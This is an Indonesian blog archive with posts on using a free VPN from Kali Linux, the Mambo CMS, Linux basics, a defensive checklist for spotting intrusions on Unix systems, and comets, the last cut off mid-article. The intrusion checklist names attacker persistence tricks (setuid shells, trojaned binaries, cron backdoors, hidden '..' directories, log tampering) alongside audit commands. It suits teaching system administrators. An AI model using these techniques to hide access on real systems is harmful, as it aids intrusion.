Saturday, 24 January 2015

Cara Menggunakan VPN Pada Kali Linux



Assalamu'alaikum Wr.Wb.


Cara Menggunakan VPN Kali Linux - VPN adalah singkatan Virtual Private Network, yaitu sebuah koneksi private melalui jaringan publik atau internet, virtual network berarti jaringan yang terjadi hanya bersifat virtual.. Private yaitu jaringan yang terbentuk bersifat private dimana tidak semua orang bisa mengaksesnya. Berikut cara menjalankan VPN di Kali linux.


  1. Pertama anda harus mendownload account vpn dulu disini saya mempunyai site yang menyediakan account vpn gratis silahkan masuk dulu ke website ini http://www.vpnbook.com/freevpn setelah itu lalu pilih salah satu account.
  2. Setelah itu download dulu account tersebut kalau sudah di download extract dulu file tersebut lalu simpan di directory home biar mudah menginstallnya jika sudah di extract langkah selanjutnya Buka Terminal lalu ketikan
    openvpn vpnbook-us1-tcp443.ovpn *sesuaikan dengan account vpn yang kita download disini saya menggunakan Server USA dengan Port 443 bisa diganti account nya sesuai selera
  3. Setelah itu tekan enter dan akan ada dialog meminta username dan password untuk username dan password nya silahkan dulu lihat di website http://www.vpnbook.com/freevpn
  4. kembali lagi ke terminal lalu masukan username dan password yang tertera di website Vpnbook password nya berganti ganti setiap hari jadi kalau mau menggunakan vpn lihat dulu password nya di website Vpnbook
  5. Jika sudah connect maka akan ada tulisan Initialization Sequence Completed berarti kita sudah terkoneksi ke jaringan vpn coba kita test ip di http://whatismyipaddress.com/ jika ip kita berasal dari luar berarti sudah connect

Sekian postingan kali ini.. Semoga bermanfaat.
Sumber : --- Tidak diketahui--

Wassalamu'alaikum Wr.Wb.

Friday, 23 January 2015

Pengertian Mambo Open Source untuk membuat Web Portal



Assalamu'alaikum Wr.Wb.


  • Pengertian Mambo

Apa itu Mambo ?

Mambo Open Source (MOS) atau sering disebut Mambo adalah sebuah Content Management System (CMS) yang dibuat menggunakan bahasa PHP (PHP Hypertext Processor). Mambo Open Source merupakan CMS yang terbaik saat ini dan telah memenangkan Linux User & Development Award 2004 untuk “Best Linux or Open Source Software. Perkembangan terakhir tentang Mambo, ada sedikit “konflik” antara develop (pengembang) dengan founder (pembuat program). Pihak founder berkeinginan untuk membentuk sebuah perusahaan bernam Mambo Foundation, namun para pengembang tidak setuju karena mereka beralasan bahwa jika Mambo sudah ditangani oleh sebuah perusahaan secara otomatis Mambo akan menjadi sebuah software yang komersial. Padalah tujuan awal dibuatnya Mambo adalah free (gratis) untuk semua orang dan siapapun boleh menggunakan, menduplikasi, atau bahkan memoddifikasi.. 

Kondisi seperti ini memicu para develop yang memiliki tanggung jawab dan hati nurani kepada user membuat mereka hengkang dari kepengurusan Mambo. Yang pada akhirnya para develop yang tidak
setuju tersebut bergabung dan menciptakan sebuah software “tandingan” Mambo. Maka terciptalah sebuah sofware yang memiliki bentuk dan fungsi yang sama persis bernama Joomla.Hampir seluruh modul maupun komponen untuk Mambo dapat pula digunakan pula pada Joomla. Buku ini pun sengaja ditujukan untuk mereka yang ingin membuat web secara instan (siap pakai)


Menggunakan Mambo Open Source . Jadi, entah Anda menggunakan Mambo ataupun Joomla, tidak menjadi masalah karena seluruh tool memiliki fungsi yang sama. Meskipun program ini menggunakan bahasa php, bukan berarti harus paham seluruhnya tentang kode php. Bagi mereka tidak memahami kode HTML, Javascript, ASP, CGI, , maupun php tidak perlu takut untuk mempelajarinya karena meskipun tidak tahu tentang kode-kode tersebut, orang bisa membuat sebuah web secara cepat dengan beberapa fitur yang sangat kompleks Mambo dapat digunakan untuk membuat situs:
  1. Portal
  2. Komersial
  3. Non-profit
  4. Pribadi

Aplikasi yang beragam dapat dibuat menggunakan Mambo karena memiliki beberapa kemampuan, diantaranya:
  1. Dapat melakukan update halaman utama, halaman berita, halaman artikel, maupun halaman arsip secara cepat.
  2. Dapat melihat file Microsoft Word, Excel, dan PDF.
  3. Dapat menambahkan menu baru pada main menu, other menu, maupun top menu dengan mudah.
  4. Dapat mengatur weblink dengan cepat dan mudah.
  5. Dapat mengatur banner (iklan).
  6. Dapat mengatur FAQ (Frequently Asked Questions).
  7. Dapat mengatur Newsflashes
  8. Membuat arsip dan menampilkannya kembali
  9. Dapat mencetak, mengirim artikel lewat email, dan membaca artikel dengan format PDF. 10. Dapat mengatur user dengan tingkat akses level yang berbeda.
  10. Dapat menambah komponen, modul, dan template dari pihak ketiga (seperti: forum, calendar, reminder, agenda, guestbook (buku tamu), shopping cart, dan sebagainya).

Desain Mambo berbeda dengan aplikasi sejenis seperti Microsoft Frontpage maupun Macromedia Dreamweaver. Mambo sangat fleksibel, mudah digunakan, dan bentuknya sederhana, menjadikan
software ini sangat friend user karena:
  1. Mudah melakukan setup/instalasi.
  2. Memiliki interface administrator yang sederhana untuk mengatur isi situs (website).
  3. Mudah digunakan untuk mengedit (menambah, mengubah, dan menghapus) content dan gambar.
  4. Fleksibel untuk mengatur tampilan front end.
  5. Fleksibel untuk menambah komponen dan modul yang baru dari pihak ketiga.

Seperti telah diijelaskan sebelumnya bahwa Anda tidak perlu lagi mengetahui konsep pembuatan web dengan HTML, XML maupun DHTML, cukup memasukan content dan gambar yang ingin
ditampilkan ke dalam situs. Bahkan webmaster tidak perlu memahami program FTP untuk melakukan upload data karena Mambo sudah dapat menanganinya.


Mambo dapat berfungsi dengan baik jika didukung oleh program aplikasi lain seperti: Apache (sebagai web server), PHP (sebagai penterjemah kode) , dan MySQL (sebagai database). Ketiga unsur tersebut wajib terpasang dalam komputer Anda jika ingin menjalankan Mambo . Jadi, ketika Anda membuat situs secara offline (localhot) perlu sebuah server. Masing-masing aplikasi
memiliki fungsi yang berbeda. 


Disini ini tidak akan membahas tentang instalasi Apache, PHP, maupun MySQL. Silakan Anda menginstal komponen-komponen tersebut sendiri. Untuk mendonwload Apache silakan kunjungi di
httpd://apache.org, MysSQL di http://mysql.com, dan PHP di http://php.net. Ada beberapa program yang dapat berfungsi sebagai server mini (sering disebut sebagai server kit) yaitu Uniform Server (Uniserver), PHP Triad, Dongkrak (karya anak bangsa), dan AppServe. Keempat program tersebut mampu menjalankan Mambo karena di dalamnya terdapat komponen yang diperlukan Mambo. Dari sekian banyak server, penulis merekomen-dasikan Unform Server (Uniserver) karena dapat bekerja dengan stabil. Namun Anda juga bisa menggunakan program lain sesuai keinginan.


Uniform Server 3.2.a (Uniserver 3.2a ) merupakan sebuah program yang terdiri dari beberapa aplikasi seperti Apache, MySQL, php, dan Perl. Program ini berfungsi seperti layaknya sebuah server mini yang dapat menjalankan kode untuk web seperti php, Perl, CGI, maupun
ASP. Seperti kita ketahui, syarat mutlak untuk dapat disebut sebagai server adalah mampu menterjemahkan bahasa yang dibuat dalam oleh Client us kemudian menterjemahkan dan selajutnya
mengirimkan pesan yang disampaikan ke browser seperti apa yang diinginkan oleh pembuat situs tersebut. Dan sebuah server, umumnya harus menyediakan beberapa program penterjemah
bahasa seperti yang telah disebutkan di atas. Program Uniform Server ini mirip dengan PHPTriad maupun Dongkrak.Proses instalasi sangat mudah dan tidak perlu diinstal ke dalam komputer. Anda cukup meng-copy (duplikasi) ke dalam salah satu disk drive (C atau D). Selanjutnya Anda tinggal meletakkan file instalasi Mambo ke dalam salah satu folder.

Anda dapat mendownload secara gratis dari internet di http://miniserver.sourceforge.net, namun jika Anda tidak mau mendownload tak perlu khawatir, dalam buku ini disertakan pula file
program tersebut. 
  1. Pertama kali, klik ganda file Uniserver3_2a.exe dari CD, selanjutkan klik tombol Run, maka akan muncul kotak dialog yang menginformasikan kepada Anda untuk memilih drive/folder sebagai tempat file-file Uniserver (saya memilih drive D). Kemudian tunggu beberapa saat, proses extract file sedang berjalan.
  2. Setelah ter-extract ke dalam salah satu folder, klik file Start.bat untuk mengaktifkan Uniserver3_2a. Perlu diingat, apabila dalam komputer Anda telah terinstall aplikasi server seperti Apache maupun MySQL Server, sebaiknya dinonaktifkan terlebih dulu sebelum menjankan program Uniform Server. Jika tidak dinon-aktifkan maka Uniform Server tidak dapat berjalan (tidak aktif) karena Server akan “bentrok” dengan yang lain Jadi, sebaiknya non-aktifkan seluruh program Server agar dapat menjalankan Uniform Server.
  3. Tunggu beberapa saat, jika belum muncul halaman utamaUniform Server, klik file redirect.html. Dan jika belum muncul juga, refresh sekali lagi.
  4. Maka akan muncul menu go to main page. Klik menu tersebut untuk masuk ke halaman utama Uniform Server 3.2a.
  5. Program tersebut sudah berjalan dengan baik (aktif). Sekarang aktifkan tombol Run MySQL Server.
  6. Tunggu beberapa saat, selanjutnya akan muncul pesan bahwa SySQL Server sudah aktif. Sekarang klik tombol Back untuk masuk ke halaman utama Uniform Server.



Sekian postingan kali ini.. semoga bermanfaat.
Sumber : buku diinternet..

Wassalamu'alaikum Wr.Wb.

Pengertian Dasar Linux.. [Apa itu linux?]



Assalamu'alaikum Wr.Wb.


Linux Dasar


Dalam kehidupan sehari-hari kita mengenal komputer yang dibagi menjadi dua bagian penting. yang pertama adalah Hardware yang bersifatperangkat keras atau dapat diistilahkan mesin atau barang fisik darisebuah komputer dan yang kedua adalah Software yang merupakan programatau perangkat lunak yang dipasangkan ke dalam mesin komputer agarmesin komputer tersebut dapat bekerja sebagaimana mestinya.

Untuk perangkat lunak, kita mengenal adanya Sistem Operasi. Yaitu sebuah program yang harus di pasang terlebih dahulu sebelum kita menggunakan program yang lain seperti pengolah kata, pengolah gambar dan lain sebagainya. Sistem Operasi ini ibarat sebuah mesin padamobil. Tanpa mesin ini, mobil sebagus dan secanggih apapun tidak akan dapat bekerja sesuai harapan.

Saat ini kita cenderung hanya mengenal dan menggunakan satu Sistem Operasi yaitu Windows (Windows 9x, Me, NT, 2000, dan 2003). Tetapi, sebenarnyasudah banyak Sistem Operasi yang lain seperti Mac OS. Yaitu yang biasadi gunakan untuk para desainer (komputer) grafis. Unix, yang biasadigunakan untuk pengolahan komputasi tingkat tinggi.

Linux (atau tepatnya GNU/Linux) merupakan sebuah Sistem Operasi yang juga menawarkan segudang kelebihan. Linux sebagai inti dari Sistem Operasi (kernel) dan aplikasi GNU sebagai pelengkap. GNU/Linux dikenalsebagai paket sistem operasi dan aplikasi yang awalnya dibuat agardapat menandingi Unix sehingga para mahasiswa dan hacker dapat belajar menggunakannya.

GNU/Linux mulai ramai digunakan sejak kelahirannya pada tahun1991. GNU/Linux yang dulunya menjadi bahan riset mahasiswa dan hacker,sekarang telah disupport oleh banyak perusahaan besar seperti Oracledan IBM. GNU/Linux pun menyesuaikan diri agar semakin cantik dan mudah digunakan sehingga para pengguna awam tidak perlu ditakutkan dengan mitos Unix yang relatif sulit digunakan untuk kalangan penggunakomputer biasa.

GNU/Linux bersifat bebas!

Berbeda dengan Windows, Mac OS, dan Unix yang kesemuanya bersifat komersil atau lebih tepatnya bersifat proprietary. GNU/Linux bersifatpublik. Yaitu setiap orang orang dapat menggunakan GNU/Linux tanpadi bebani biaya lisensi. GNU/Linux dikembangkan oleh jutaan programer dan hacker seluruh dunia, bandingkan dengan jumlah programmer Windows. GNU/Linux juga dapat digunakan pada komputer manapun (dariprosesor berbasis x86 sampai RISC) dan digunakan untuk tujuan apapunyang sekali lagi tanpa dibebani biaya lisensi.

Biaya yang harus dikeluarkan untuk memiliki, menggunakan, bahkan untuk memodifikasi hampir dikatakan tidak ada. GNU/Linux tersebar di seluruh dunia dan siapaun dapat men-download dan kemudian langsung menggunakannya. Atau jika anda tidak mempunyai koneksi internet yang baik, anda dapa membeli dengan hanya mengganti ongkos CD.

UU HAKI dan GNU/Linux

GNU/Linux dilindungi dengan lisensi yang bersifat umum yaitu GPL(General Public License). Dimana lisensi ini menjaga sedemikian rupa agar GNU/Linux tetap menjadi milik umum dan tidak dapat menjadi milik perorangan ataupun perusahaan. Dengan menggunakan GNU/Linux berarti anda juga mematuhi UU HAKI untuk tidak menggunakan produk bajakankarena GNU/Linux dengan bebas dapat dikopi dan didistribusikan kemana saja dan oleh siapa saja.

Paket Distribusi

GNU/Linux dipaketkan menjadi sebuah Sistem Operasi yang lengkap dan disertai dengan aplikasi sehari-hari seperti pengolah kata, pengolah angka, pengolah gambar, internet, games, dan bahkan aplikasi server seperti email, layanan web, ftp, dan lain sebagainya. Paket distribusiyang umum digunakan biasanya Mandrake (www.mandrake.org), SuSE(www.suse.com), Redhat (www.redhat.com), Debian (www.debian.org), danSlackware (www.slackware.org) yang masing-masing menawarkan paketprogram yang mirip tetapi mempunyai rasa yang berbeda.

Ada pula paket distribusi yang cukup unik yaitu Knoppix. Sebuah paket distribusi GNU/Linux turunan dari Debian yang dapat digunakan langsung tanpa menganggu (tanpa meng-install) pada komputer anda. Cukup masukkan CD Knoppix, ikuti beberapa langkah sederhana, dan selanjutnyaanda dapat menikmati GNU/Linux tanpa takut data di Harddisk anda dikutak-atik. Rekan-rekan tanah air terutama di ICT Watch dan TimPandu juga membuat turunan Knoppix yang dibuat khusus untuk penggunadi Indonesia yaitu Linux Sehat (linux.ictwatch.com).

GNU/Linux untuk semua.

GNU/Linux pada masa sekarang sudah merambah ke dalam dunia komputerisasi tingkat dasar. Anda dapat mulai menggantikan Windows danMS Office yang tentu saja mahal karena harus membayar biaya lisensi(kurang lebih 80 USD untuk Windows 98 dan USD 450 untuk MS Office 2000Pro untuk satu komputer) dengan GNU/Linux yang jika anda mempunyai akses internet cukup baik anda dapat mendownloadnya secara gratis!.Bukan itu saja, paket distribusi GNU/Linux biasanya sudah disertakan program untuk membuat Email server, Web Server, FTP Server,File-sharing Server. Secara sederhana, anda dapat membuat kantor jenisSME (Small Medium Enterprise) hanya dengan mendownload sebuahGNU/Linux untuk seluruh komputer dikantor tanpa biaya lisensi aliasgratis!



18 Oktober 2004 - 04:50 WIBB
Apa itu Linux?
David Sudjiman, Aktivis KPLI Jakarta

Catatan: Artikel ini dapat Anda baca juga di Koran Tempo tanggal 01September 2003.


Sekian Postingan kali ini.. semoga bermanfaat.

Wassalamu'alaikum Wr.Wb.

Thursday, 22 January 2015

Cara Mendeteksi Penyusupan Security



Assalamu'alaikum Wr.Wb.


Sering Sekali lamer-lamer mendekteksi jaringan kita baik dengan beraneka ragam cara yang terkadang membuat si admin kebingunggan (panic) untuk melacaknya, untuk itu penulis mencoba memaparkan sekilas tentang langkah-langkah melakukan pendeteksian terhadap sistem yang susah tersusup atau belom tersusup, Benarkan sistem kita tersusup ? (khususnya pada sistem yang berbasix unix ato linux) sebagai jaringan yang paling banyak dipakai saat ini.


Ada pun langkah-langka yang dapat kita tempuh adalah sebagai berikut : 


  1. memeriksa file-file log, untuk memcari koneksi dari lokasi yang tidak wajar atau mencari aktivitas yang tidak semestinya ada. sebagai contoh , periksalah "last log", proses accounting, semua log yang dibuat oleh syslog, dan log-log yang lain yang ada kaitannya dengan keamaan. bila firewall digunakan atau router menulis log ke lokasi yang berbede dengan compromised system (sistem yang berhasil di-comprimise), jangan lupa untuk memeriks log-lognya juga. sebagai catatan, hal ini bukanlah hal yang mudah dan aman untuk dilakukan, kecuali anda melakukan log ke sebuah media yang hanya dapat diisi dengan mode append (sering sekali penyusup mengedit file-file log untuk menyembunyikan aktivitas mereka).
  2. memeriksa file-file setuid dan setgid (terutama file setuid root) pada sistem. sering sekali penyusup meninggalkan setuid dari /bin/sh atu /bin/time untuk memudahkan bila akan melakukan akses sebagai root di waktu yang akan datang. perintah find pada unix ato linux dapat digunakan untuk mencari file-file setuid dan segid. sebagai contoh ada dapat melakukan perintah berikut untuk mencari file-file setuid root dan setgid kmem pada seluruh lokasi didalam sistem :

    contoh pemakaian:
    gayo:~$ find / -user root -perm -4000 -print
    gayo:~$ find / -group kmem -perm -2000 -print

    keterangan : contoh ini akan mencari ke seluruh sistem / direktory, termasuk NFS/AFS yang dimount ke dalam file system, namun untuk mencegah hirarki tersebut ada beberapa perintah find yang mendukung option "-xdev" . sebagai contoh :
    gayo:~$ find / -user root -perm -4000 -print -xdev

    cara lain untuk mencari file-file setuid adalah dengan melakukan perintah ncheck pada tiap-tiap partisi.sebagai contoh, gunakan perintah berikut ini untuk mencari file-file setuid dan device -device khusus pada partisi /dev/rsd0g:
    gayo:~$ ncheck -s /dev/rsd0g
  3. Memeriksa file-file binary di dalam system untuk memastikan file-file binary tersebut tidak berubah. seringkali penyusup mengubah program pada sistem unix ato linux, misalkannya login, su, nestat, ifconfig, ls, find, du, df, libc, sync. semua file-file binary yang di referensikan oleh /etc/inetd.conf, dan program-program jaringan yang penting berserta library-library berbentuk objek yang dipakainya. jangan lupa untuk membandingan dengan file-file aslinya, hati-hati terhadap backupan jangan-jangan sudah terkena/terinfeksi trojan horse. ( pakailah program untuk menditeksi trojan ) contoh-contoh programnya cmp ato MD5 (program standar yang dimiliki unix ato linux) ato bisa saja anda mengunakan program lain yang bisa anda dapat kan di internet.
  4. Memeriksa sistem dari akses penggunaan program networking secara ilegal, yang umum disebut dengan packet sniffer. penyusup mungkin menggunakan sniffer untuk menyadap user account dan password : saran penulis gunakanlah :superscan ato sejenisnya..
  5. Memeriksa semua file yang dijalankan oleh cron dan at. seringkali penyusup sengaja meninggalkan pintu belakang (backdoor) pada sistem (bahkan setelah sistem merasa yakin telah menyelesaikan masalah yang terjadi karena sistem di -compromise). Periksa juga semua program/file yang direferensi (baik secara langsung maupun tidak langsung) oleh job-job cron dan at serta file-file job mereka sendiri, yang seharusnya tidak dapat ditulis secara bebas.
  6. Memeriksa service-service ilegal (yang sedang berjalan). perhatikan apakah ada penambahan atau pengubahan secara ilegal pada /etc/inetd.conf, khususnya periksa entri-entri yang mengeksekusi program-program shell (misal nya /bin/sh ato /bin/csh) dan pastikan program-program yang dispefisikasikan di /etc/inetd sudah benar dan tidak diganti oleh trojan horse. periksa juga service-service legal yang diberi tanda komentar pada service-service tertentu (berarti menjalankan service tertentu), atau mengganti program inetd dengan sebuah program trojan horse.
  7. Memeriksa file /etc/passwd pada sistem dan memeriksa juga modifikasi yang terjadi pada file tersebut, khususnya untuk pembuatan account baru, account tanpa password, atau penggubahan UID (terutama UID 0) pada account-account yang ada.
  8. Periksa file-file konfigurasi sistem dan jaringan dari entri-entri ilegal, khususnya cari entri degnan tanda plus (+) dab bana host yang tidak diinginkan di file /etc/hosts.equiv ,/etc/hosts.lpd dan semua file-file .rhost (terutama root,uucp,ftp dan account sistem yang lain 0 pada sistem, File-file tersebut seharusnya tidak dapat ditulis secara bebas. cari file-file yang tidak wajar atau hidden pasa seluruh lokasi di sistem (file-file yang dijalankan menurut prioda waktu tertentu dan umumnya tidak dapat dilihat dengan mengunakan perinah ls), karena file seperti ini dapat digunakan untuk menyembuyikan tool dan informasi (program password cracking, file password dari sistem lain). sebuah teknik yang umum pada sistem Unix ataupun linux adalah meletakan sebuah direktory yang hidden pada user acount dengan nama yang tidak wajar , misalkan ".." atau ".. "(titik2 spasi) atau "..^G" (titik2 ctrl+G). Sekali lagi, perintah find dapat digunakan untuk mencari file hidden tersebut, contoh :
    gayo:~$ find / -name ".. " - print -xdev
    gayo:~$ find / -name ".*" - print -xdev | cat -v

    demikian juga dengan file-file yang memiliki nama seperti misalnya "xx" dan ".mail" (terlihat seperti file biasa bukan)
  9. memeriksa semua komputer pada jaringan lokal pada saat mencari tanda-tand adanya penyusupan. seringkali bila sebuah host berhasil di-compromise maka komputer lain yang berada didalam jaringan juga. hal ini bener khususnya bila jaringan menjalankan NIS (Network Information System) atau tiap-tiap host di dalam jaringan saling mempercayai melalui file .rhost dan file /etc/hosts.equiv. periksa juga host-host yang berbagi akses .rhost. 


NOTE : 


  1. Artikel ini dimaksudkan untuk bahan pelajaran para admin dan siapa saja yang ingin mengembangkan pengetahuan tentang security .
  2. Gunakan Tutor ini jika anda anggap penting untuk mengamankan server anda .



Deteksi Penyusupan
Author : oh_gayo On 07 May 2006 Jam 06:10

Mencari tanda-tanda terjadinya penyusupan terhadap sistem
Penulis : oh_gayo
Press : ISD
Tahun : 2003
########################################################### 


Sekian Postingan kali ini.. Semoga bermanfaat.

Wassalamu'a;aikum Wr.Wb.

Wednesday, 21 January 2015

Pengertian Komet, Si Bintang Berekor


Assalamu'alaikum Wr.Wb.


Selama berabad-abad, kemunculan sebuah komet dipercaya sebagai suatu pertanda akan datangnya sebuah malapetaka besar. Penampakan sebuah komet dan sesekali pula pergerakannya dicatat secara akurat. Astronom Babylonia dan China mempercayai bahwa komet adalah objek yang beredar di angkasa sebagaimana halnya planet. Bangsa Yunani beranggapan bahwa komet adalah fenomena atmosfir, sejenis dengan uap air yang berasal dari permukaan Bumi. Pandangan ini sempat diterima secara meluas hingga di abad XVI, saat Tycho Brahe memaparkan pandangannya bahwa komet tidak hanya sebuah fenomena alam, tetapi diyakini sebagai sebuah benda angkasa yang letaknya dari bumi lebih jauh daripada Bulan.

Seabad kemudian, Sir Isaac Newton menemukan sebuah metode untuk menghitung orbit dari sebuah komet berdasarkan lintasan yang dapat diamati di angkasa. Newton menentukan bahwa komet yang nampak pada bulan Desember 1680 mengikuti orbit parabola yang sangat panjang. Edmund Halley, seorang ilmuwan yang hidup sezaman dengan Newton menemukan bahwa orbit dari komet yang pernah muncul pada tahun 1531, 1607, dan 1682 adalah hampir identik. Penemuan ini membawanya kepada suatu kesimpulan bahwa ketiga penampakan tersebut melibatkan komet yang sama. Ia kemudian meramalkan bahwa komet tersebut akan muncul lagi pada tahun 1758. Sayang, usianya tidak cukup panjang untuk bisa menyaksikan kebenaran ramalannya itu. Penampakan komet tersebut--yang kemudian dinamai komet Halley--ternyata telah tercatat sebanyak 20 kali sejak tahun 239 sM. Penampakannya yang terakhir adalah pada tahun 1985-1986.

Komet yang baru ditemukan biasanya diberi nama menurut tahun penemuannya ditambah sebuah huruf yang mengindikasikan urutan penampakan komet itu pada tahun saat komet tersebut ditemukan. Saat tanggal dimana komet mencapai titik perihelion dapat diketahui, komet itu segera dinamai menurut angka tahun kalendar saat itu dikuti dengan angka Romawi yang menunjukkan urutan kronologis perlintasan pada perihelion pada tahun itu (misalnya, 1882 II). Beberapa komet dinamai menurut nama penemunya, misalnya komet Halley; juga komet Hale-Bopp yang dinamai menurut nama dua orang astronom amatir yang melaporkan penampakannya di malam yang sama pada tahun 1995.



ORBIT KOMET

Semua komet beredar di tata surya dalam orbit elips (bulat telur). Komet yang tercatat memiliki periode orbit terpendek adalah komet Encke (3,3 tahun), sedangkan komet yang memiliki periode panjang, memerlukan waktu hingga ribuan tahun untuk satu kali mengorbit Matahari. Beberapa komet yang diamati menunjukkan bahwa komet itu hanya sekali muncul dalam orbit parabolik atau hiperbolik yang membawanya mendekati Matahari hanya dalam sekali seumur hidupnya, menimbulkan suatu kemungkinan bahwa komet tersebut mungkin berasal dari luar tata surya, namun kurangnya data membuat dugaan ini sulit untuk dibuktikan.

Hampir seluruh komet yang kita kenali mendekati Matahari dalam jarak antara 0.005 hingga 2.5 AU  pada perihelion. Apabila perihelion komet lebih jauh dari 2.5 AU, komet biasanya tidak dapat diamati. Banyak diantara komet memiliki aphelion di sekitar orbit planet luar. Sekelompok yang terdiri dari sekitar 75 komet diketahui sebagai "keluarga dekat" Jupiter dan memiliki aphelion disekitar orbit planet tersebut. Beberapa diantaranya merupakan kelompok komet yang mengorbit secara bersama-sama. Komet jenis ini biasanya merupakan sisa-sisa dari sebuah komet raksasa yang kemudian pecah dikarenakan pengaruh gravitasi dari Matahari atau sebuah planet.



SIFAT-SIFAT FISIK KOMET


Nukleus dan Coma 

Hampir seluruh massa komet terpusat pada nukleus (inti komet). Diameter dari nukleus biasanya berkisar antara beberapa kilometer dengan kepadatan antara 0,1 hingga 1 g/cm3, mengindikasikan bahwa kepadatannya termasuk renggang. Berdasarkan model "bola salju kotor" yang digagas oleh Frel L Whipple, yang berdasarkan penelitian lanjutan kemudian terbukti kebenarannya, nukleus komet tesusun dari sekumpulan materi yang terdiri atas air, karbon monoksida, metanol, amonia, dan metana. Seluruhnya dalam keadaan beku serta tercampur dengan debu. Saat komet mendekati Matahari, materi beku tersebut menyublim dan membentuk kabut gas dan debu--yang disebut coma--disekeliling nukleus. Makin dekat ke Matahari, gas yang terbentuk semakin banyak. Partikel-partikel pada komet terdorong dari nukleus oleh tekanan radiasi dan angin Matahari (aliran partikel Matahari).

Rata-rata diameter dari coma adalah sekitar 100.000 km, namun massanya terbilang kecil. Beberapa molekul terdekomposisi dan terionisasi oleh sinar ultraviolet dalam pelepasannya dari nukleus ke ekor komet. Hasil-hasil yang dapat diamati dari proses ini meliputi atom-atom hidrogen dan oksigen, air, dan radikal hydroxyl (OH). Molekul dan senyawa karbon juga ditemukan dalam konsentarasi yang 100 kali lebih rendah dari nukleus, sementara jumlah molekul NH, NHH, CH, dan molekul nitrogen ditemukan dengan konsentrasi 1000 kali lebih rendah. Juga terdeteksi karbon monosulfida (CS) dan serta atom dan molekul sulfur. Semantara itu unsur etana juga ditemukan di komet Hyakutake. Bagian coma dari sebuah komet umumnya mengecil saat komet mendekati Matahari, dan molekulnya terdekomposisi lebih cepat oleh angin Matahari sehingga terdorong ke arah ekor komet.

Ekor Komet

Saat komet yang cemerlang dapat terlihat, ciri yang paling menyolok adalah ekor. Dalam penampakan komet Halley pada tahun 1910, ekor komet terentang hingga lebih dari 90º di lengkung langit. Dalam penampakan komet Halley yang terakhir sekitar tahun 1985-1986, titik pemanjangan ini tercapai saat komet berada dalam sudut yang jauh dari Matahari, sehingga tidak terlihat terlalu dramatis di langit malam.

Panjang ekor komet berkisar antara 1 juta hingga 100 juta km. Ekor komet biasanya pertama kali muncul saat komet berada pada jarak 1,5 AU dari Matahari. Meskipun berukuran sedemikian besar, namun setiap 1 km3 volume ekor komet mengandung materi lebih sedikit dibandingkan dengan 1 mm3 udara.

Ekor komet terbentuk dari gas dari coma dan selalu menunjuk ke arah yang berlawanan dari Matahari. Semula diduga bahwa tekanan dari radiasi Matahari adalah satu-satunya penyebabnya, namun saat ini telah diketahui bahwa angin Matahari memiliki peranan yang lebih besar dalam menentukan arah ekor komet. Angin Matahari mengandung partikel-partikel yang terlempar dari Matahari. Kekuatan tekanan dari partikel-partikel ini terhadap molekul gas dalam coma berkisar 100 kali lebih besar dari kekuatan gravitasi Matahari, dengan demikian molekul-molekul tersebut terdorong oleh angin Matahari. Angin Matahari tidaklah konstan, dan variasinya bertanggung jawab atas struktur ekor komet. Solar Flare dan gangguan lainnya pada Matahari sesekali dapat membuat ekor komet terlihat bergolak atau berbelok.

Sebuah komet dapat memiliki salah satu diantara dua tipe ekor, atau bahkan keduanya sekaligus--yang biasa disebut sebagai komet berekor ganda. Jenis ekor komet yang pertama adalah ekor yang memanjang dan hampir lurus, memiliki struktur yang mirip serabut yang terdiri dari gas yang ter-ionisasi. Tipe ini digolongkan sebagai ekor Tipe I. Sedangkan tipe ekor komet lainnya yang tergolong sebagai Tipe II, atau "ekor debu" berbentuk kelokan yang tajam dan lebih kabur. Tipe ini tersusun atas debu yang diterpa oleh cahaya Matahari. Sebuah komet dapat memiliki beberapa ekor debu disamping juga ekor gas (Tipe I). Beberapa komet diketahui memiliki ekor yang ganjil, dimana ekornya menunjuk ke arah Matahari (contohnya adalah komet Arent Roland, 1957 III). Ekor komet jenis ini terdiri dari lapisan debu yang sangat tipis yang keluar dari lapisan terluar komet dan terkumpul disekitar orbit komet. Gas yang menyusun ekor komet diantaranya adalah CO+, molekul nitrogen, CH+, karbon dioksida, dan OH+. Ion-ion tersebut, seperti yang juga dijumpai pada coma terbentuk saat molekul yang lebih besar terpisahkan oleh angin Matahari.



ASAL MULA KOMET


Banyak teori yang telah dicetuskan dalam seabad terakhir ini mengenai asal mula komet, namun salah satu yang paling luas diterima saat ini menyebutkan bahwa komet terbentuk pada saat yang sama dengan saat terbentuknya tata surya. Pada tahun 1950, Jan Oort, seorang astronom Belanda mengajukan teorinya bahwa Matahari dikelilingi oleh "kabut" besar yang terdiri dari material komet pada jarak sekitar 1000 kali garis terngah tata surya yang kita ketahui. Teori ini kemudian diikuti dengan teori dari Gerard Kuiper, pada tahun 1951 yang menggagas bahwa sabuk material komet tersebut terletak pada suatu daerah yang berjarak beberapa ratus kali jarak Bumi-Matahari. Gangguan yang berasal dari objek diluar tata surya dapat menyebabkan beberapa diantara material tersebut keluar dari sabuk komet dan memasuki tata surya bagian dalam sebagai sebuh komet, dimana komet dengan periode pendek diduga muncul dari sabuk ini, yang kemudian dinamai sebagai sabuk Kuiper (Kuiper-belt).

Kedua teori ini dapat diterima secara luas dikalangan para astronom. Sebuah benda angkasa yang dinamai Chiron, pernah dianggap sebagai sebuah asteroid, kini dikelompokkan sebagai komet Kuiper-belt, dan sementara itu beberapa anggota dari sabuk Kuiper telah dapat diamati sejak 1992. Keberadaan "sabuk" tersebut dapat dibuktikan secara langsung pada tahun 1995 melalui hasil pengamatan lewat Telskop Antariksa Hubble yang berhasil mengamati 30 objek mirip komet yang berada diluar orbit planet Pluto. Para astronom dewasa ini memperkirakan sejumlah 70.000 objek berukuran cukup besar--dan tak terhitung jumlahnya yang berukuran lebih kecil--menghuni daerah sabuk Kuiper dengan jarak antara 30 hingga 50 AU.

Banyak diantara komet, khususnya yang tergolong memiliki periode pendek, pecah secara perlahan-lahan, terutama karena pengaruh kekuatan gravitasi Matahari. Beberapa diantaranya telah diamati "tercebur" kedalam Matahari. Pengurangan kecerlangan dari komet berperiode pendek juga dapat kita amati. Komet juga menghasilkan produk buangan dibelakang orbitnya, dalam bentuk jutaan meteorid. Saat Bumi melintasi orbit sebuah komet, kita di Bumi dapat melihat terjadinya hujan meteor.



TABRAKAN ANTARA PLANET DENGAN KOMET


